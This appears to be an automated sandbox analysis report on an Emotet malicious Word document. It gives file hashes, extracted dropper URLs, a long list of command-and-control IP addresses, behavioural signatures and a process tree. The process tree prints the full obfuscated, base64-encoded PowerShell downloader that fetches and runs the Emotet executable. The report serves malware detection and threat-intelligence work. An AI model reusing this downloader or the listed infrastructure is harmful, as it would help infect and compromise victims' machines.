Analysis
- max time kernel
136s - max time network
135s - platform
windows10_x64 - resource
win10v200722 - submitted
02/10/2020, 04:38
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_a3022d8bff7c8b26e0a2d78cbff43d0fb7d41f954a0700000328da5849a0c48e_2020-10-02__043454569710._doc.doc
Resource
win7v200722
General
- Target emotet_e1_a3022d8bff7c8b26e0a2d78cbff43d0fb7d41f954a0700000328da5849a0c48e_2020-10-02__043454569710._doc.doc
- Size 190KB
- Sample201002-pxss43af3j
- SHA256 a3022d8bff7c8b26e0a2d78cbff43d0fb7d41f954a0700000328da5849a0c48e
- MD5 35cb5282f5e136d48941ef9fa245b9c2
- SHA1 7937e6294ef984092fc3e5f2c7fdb4002e849eb6
- SHA512 486aa35c65e265d0d4bd170381da27cba1faaf1e1b27597311e3330ed0c7d1a4d40ab74c0539086485c716c4f180775a46b830973ace15e90ea16cfed168592c
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://reklamdasiniz.com/wp-admin/W/
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exe.dropper
http://www.paramedicaleducationguidelines.com/wp-admin/7S/
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exe.dropper
http://bimasoftcbt.maannajahjakarta.com/wp-admin/i3K/
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exe.dropper
http://casualhome.com/wp-admin/Y/
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exe.dropper
https://aemine.vn/wp-admin/KMq/
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exe.dropper
http://aahnaturals.net/wp-includes/A3/
-
exe.dropper
https://sbsec.org/bsadmin-portal/1nf/
Extracted
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emotet
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202.22.141.45:80
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37.187.161.206:8080
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202.29.239.162:443
-
80.87.201.221:7080
-
82.76.111.249:443
-
216.47.196.104:80
-
192.241.143.52:8080
-
192.81.38.31:80
-
87.106.253.248:8080
-
64.201.88.132:80
-
192.241.146.84:8080
-
12.162.84.2:8080
-
1.226.84.243:8080
-
177.129.17.170:443
-
202.134.4.210:7080
-
70.169.17.134:80
-
152.169.22.67:80
-
5.196.35.138:7080
-
138.97.60.141:7080
-
203.205.28.68:80
-
83.169.21.32:7080
-
191.182.6.118:80
-
190.188.245.242:80
-
62.84.75.50:80
-
181.74.0.251:80
-
189.2.177.210:443
-
111.67.12.221:8080
-
188.135.15.49:80
-
217.13.106.14:8080
-
68.183.190.199:8080
-
178.250.54.208:8080
-
189.35.44.221:80
-
201.213.177.139:80
-
137.74.106.111:7080
-
177.73.0.98:443
-
70.32.84.74:8080
-
51.15.7.145:80
-
177.74.228.34:80
-
185.94.252.27:443
-
50.121.220.50:80
-
186.70.127.199:8090
-
85.214.26.7:8080
-
181.129.96.162:8080
-
70.32.115.157:8080
-
82.230.1.24:80
-
60.93.23.51:80
-
213.197.182.158:8080
-
149.202.72.142:7080
-
190.115.18.139:8080
-
72.167.223.217:8080
-
190.24.243.186:80
-
109.169.12.78:80
-
94.176.234.118:443
-
185.232.182.218:80
-
219.92.13.25:80
-
209.236.123.42:8080
-
119.106.216.84:80
-
51.255.165.160:8080
-
51.75.33.127:80
-
51.15.7.189:80
-
61.197.92.216:80
-
5.189.178.202:8080
-
172.104.169.32:8080
-
45.33.77.42:8080
-
98.13.75.196:80
-
74.58.215.226:80
-
68.183.170.114:8080
-
155.186.0.121:80
-
190.117.79.209:80
-
128.92.203.42:80
-
202.4.58.197:80
-
70.116.143.84:80
-
77.238.212.227:80
-
67.247.242.247:80
-
12.163.208.58:80
-
212.71.237.140:8080
-
46.43.2.95:8080
-
96.227.52.8:443
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186.103.141.250:443
-
185.94.252.12:80
-
104.131.41.185:8080
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45.46.37.97:80
-
95.9.180.128:80
-
87.106.46.107:8080
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50.28.51.143:8080
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65.36.62.20:80
-
35.143.99.174:80
-
51.38.124.206:80
-
185.183.16.47:80
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181.30.61.163:443
-
170.81.48.2:80
-
74.136.144.133:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3592 3712 POwersheLL.exe 72 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/196-13-0x0000000000680000-0x0000000000692000-memory.dmp emotet behavioral2/memory/196-14-0x0000000000590000-0x00000000005A0000-memory.dmp emotet behavioral2/memory/3668-17-0x0000000000620000-0x0000000000632000-memory.dmp emotet behavioral2/memory/3668-18-0x0000000000640000-0x0000000000650000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 14 3592 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 196 N4kqup.exe 3668 catsrvut.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\uReFSv1\catsrvut.exe N4kqup.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4044 WINWORD.EXE 4044 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 3592 POwersheLL.exe 3592 POwersheLL.exe 3592 POwersheLL.exe 3668 catsrvut.exe 3668 catsrvut.exe 3668 catsrvut.exe 3668 catsrvut.exe 3668 catsrvut.exe 3668 catsrvut.exe 3668 catsrvut.exe 3668 catsrvut.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3592 POwersheLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 4044 WINWORD.EXE 4044 WINWORD.EXE 4044 WINWORD.EXE 4044 WINWORD.EXE 4044 WINWORD.EXE 4044 WINWORD.EXE 4044 WINWORD.EXE 4044 WINWORD.EXE 4044 WINWORD.EXE 196 N4kqup.exe 3668 catsrvut.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3592 wrote to memory of 196 3592 POwersheLL.exe 76 PID 3592 wrote to memory of 196 3592 POwersheLL.exe 76 PID 3592 wrote to memory of 196 3592 POwersheLL.exe 76 PID 196 wrote to memory of 3668 196 N4kqup.exe 77 PID 196 wrote to memory of 3668 196 N4kqup.exe 77 PID 196 wrote to memory of 3668 196 N4kqup.exe 77
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a3022d8bff7c8b26e0a2d78cbff43d0fb7d41f954a0700000328da5849a0c48e_2020-10-02__043454569710._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4044
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C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABWAHQAbQBmADQAegB5AD0AKAAoACcATABsACcAKwAnADcAJwApACsAKAAnAGwAJwArACcAMQBpACcAKQArACcAeQAnACkAOwAmACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAE4AVgA6AHUAcwBFAHIAUABSAE8ARgBpAEwARQBcAEsAdgBvADkAOQAwAFcAXAB5AGgAVwAwAFMAOABlAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwB0AG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AGAAUgBJAGAAVAB5AFAAYABSAG8AVABvAGAAYwBvAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxACcAKwAnADIALAAgACcAKQArACcAdAAnACsAKAAnAGwAcwAxACcAKwAnADEALAAnACsAJwAgAHQAbABzACcAKQApADsAJABBADAAOABwAHMAcABfACAAPQAgACgAKAAnAE4AJwArACcANABrACcAKQArACgAJwBxACcAKwAnAHUAcAAnACkAKQA7ACQAVwB3AGUAcwBnAHUAcwA9ACgAJwBEACcAKwAoACcANgByACcAKwAnAHYAJwApACsAKAAnADAAJwArACcAYwA1ACcAKQApADsAJABWAGgAYwBxAG8AZwBxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAE8AJwArACgAJwBxAEkAJwArACcASwB2AG8AOQAnACkAKwAoACcAOQAwAHcATwBxAEkAJwArACcAWQBoACcAKQArACcAdwAnACsAJwAwACcAKwAnAHMAJwArACgAJwA4ACcAKwAnAGUATwBxAEkAJwApACkAIAAgAC0AUgBlAFAAbABhAEMARQAoACcATwAnACsAJwBxAEkAJwApACwAWwBDAEgAQQByAF0AOQAyACkAKwAkAEEAMAA4AHAAcwBwAF8AKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAOAA1AHMAeABkAGsAPQAoACcAUwAnACsAKAAnAHUAdAAnACsAJwBwAHoAeAB6ACcAKQApADsAJABKAGgANQBnAG4ANwBmAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAdAAuAHcARQBiAGMAbABpAEUAbgBUADsAJABUADgAeQA4AGsAeAB5AD0AKAAoACcAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwByAGUAawAnACsAJwBsAGEAbQAnACsAJwBkACcAKQArACgAJwBhAHMAJwArACcAaQBuAGkAegAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACcAYQAnACsAJwBkAG0AJwArACgAJwBpACcAKwAnAG4ALwBXAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwB3AC4AcAAnACsAJwBhACcAKQArACgAJwByAGEAbQBlAGQAJwArACcAaQBjAGEAbAAnACkAKwAnAGUAJwArACgAJwBkAHUAYwAnACsAJwBhACcAKQArACgAJwB0ACcAKwAnAGkAbwBuAGcAdQAnACsAJwBpAGQAZQBsAGkAbgAnACkAKwAoACcAZQAnACsAJwBzAC4AJwApACsAKAAnAGMAbwBtAC8AdwBwACcAKwAnAC0AYQBkACcAKwAnAG0AJwApACsAKAAnAGkAbgAnACsAJwAvADcAUwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvAC8AJwArACcAYgBpAG0AYQAnACsAJwBzACcAKQArACcAbwAnACsAKAAnAGYAdABjAGIAJwArACcAdAAuAG0AYQAnACsAJwBhAG4AJwApACsAKAAnAG4AJwArACcAYQBqACcAKQArACgAJwBhACcAKwAnAGgAagBhACcAKwAnAGsAYQAnACkAKwAnAHIAdAAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAnACkAKwAoACcALQAnACsAJwBhAGQAbQBpACcAKwAnAG4AJwApACsAKAAnAC8AaQAnACsAJwAzAEsALwAqACcAKwAnAGgAdAB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAGMAYQBzAHUAYQBsACcAKwAnAGgAbwBtAGUALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQAnACsAJwBuAC8AWQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcABzADoALwAvAGEAJwArACcAZQBtACcAKQArACgAJwBpACcAKwAnAG4AZQAnACkAKwAoACcALgB2ACcAKwAnAG4AJwApACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAoACcAZAAnACsAJwBtAGkAJwApACsAJwBuACcAKwAnAC8AJwArACgAJwBLAE0AcQAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6ACcAKQArACgAJwAvAC8AYQBhACcAKwAnAGgAJwApACsAKAAnAG4AYQAnACsAJwB0ACcAKQArACgAJwB1ACcAKwAnAHIAJwArACcAYQBsACcAKwAnAHMALgBuAGUAdAAvAHcAcAAnACkAKwAnAC0AaQAnACsAKAAnAG4AYwBsAHUAZAAnACsAJwBlACcAKwAnAHMALwBBADMALwAqAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAvAC8AcwAnACsAJwBiACcAKQArACcAcwAnACsAJwBlAGMAJwArACgAJwAuACcAKwAnAG8AcgAnACkAKwAoACcAZwAnACsAJwAvAGIAJwApACsAKAAnAHMAJwArACcAYQBkAG0AaQAnACkAKwAoACcAbgAtACcAKwAnAHAAJwApACsAKAAnAG8AJwArACcAcgB0ACcAKQArACgAJwBhAGwAJwArACcALwAxACcAKQArACgAJwBuACcAKwAnAGYALwAnACkAKQAuACIAUwBgAFAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAGcAcQB1AHoAZwBzAD0AKAAoACcAWQBwADMAJwArACcAcgBpACcAKQArACcAeQAnACsAJwB6ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0AcwByAHkAYQAwAG4AIABpAG4AIAAkAFQAOAB5ADgAawB4AHkAKQB7AHQAcgB5AHsAJABKAGgANQBnAG4ANwBmAC4AIgBkAGAAbwBXAE4AbABPAGAAQQBEAGYAYABJAGwAZQAiACgAJABNAHMAcgB5AGEAMABuACwAIAAkAFYAaABjAHEAbwBnAHEAKQA7ACQAUwAwAHYAdAAyADkAMgA9ACgAJwBJADYAJwArACgAJwA0AHgAJwArACcAYQAnACkAKwAnAGMAZwAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAVgBoAGMAcQBvAGcAcQApAC4AIgBsAEUATgBgAGcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADgANAAyACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFYAaABjAHEAbwBnAHEAKQA7ACQAUABmADQAeABrAGcAdAA9ACgAJwBVACcAKwAnAHUAJwArACgAJwBoAG0ANAAnACsAJwBhAGIAJwApACkAOwBiAHIAZQBhAGsAOwAkAE4AMQAyAGMAZgBmAHMAPQAoACgAJwBRAGkAJwArACcANQBuADcAJwApACsAJwBhACcAKwAnADcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAGwAdwBzADcAbgBwAD0AKAAoACcAQQBlACcAKwAnADkAJwApACsAKAAnAG4AdQByACcAKwAnAHQAJwApACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3592 -
C:\Users\Admin\Kvo990w\Yhw0s8e\N4kqup.exe"C:\Users\Admin\Kvo990w\Yhw0s8e\N4kqup.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:196 -
C:\Windows\SysWOW64\uReFSv1\catsrvut.exe"C:\Windows\SysWOW64\uReFSv1\catsrvut.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3668
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-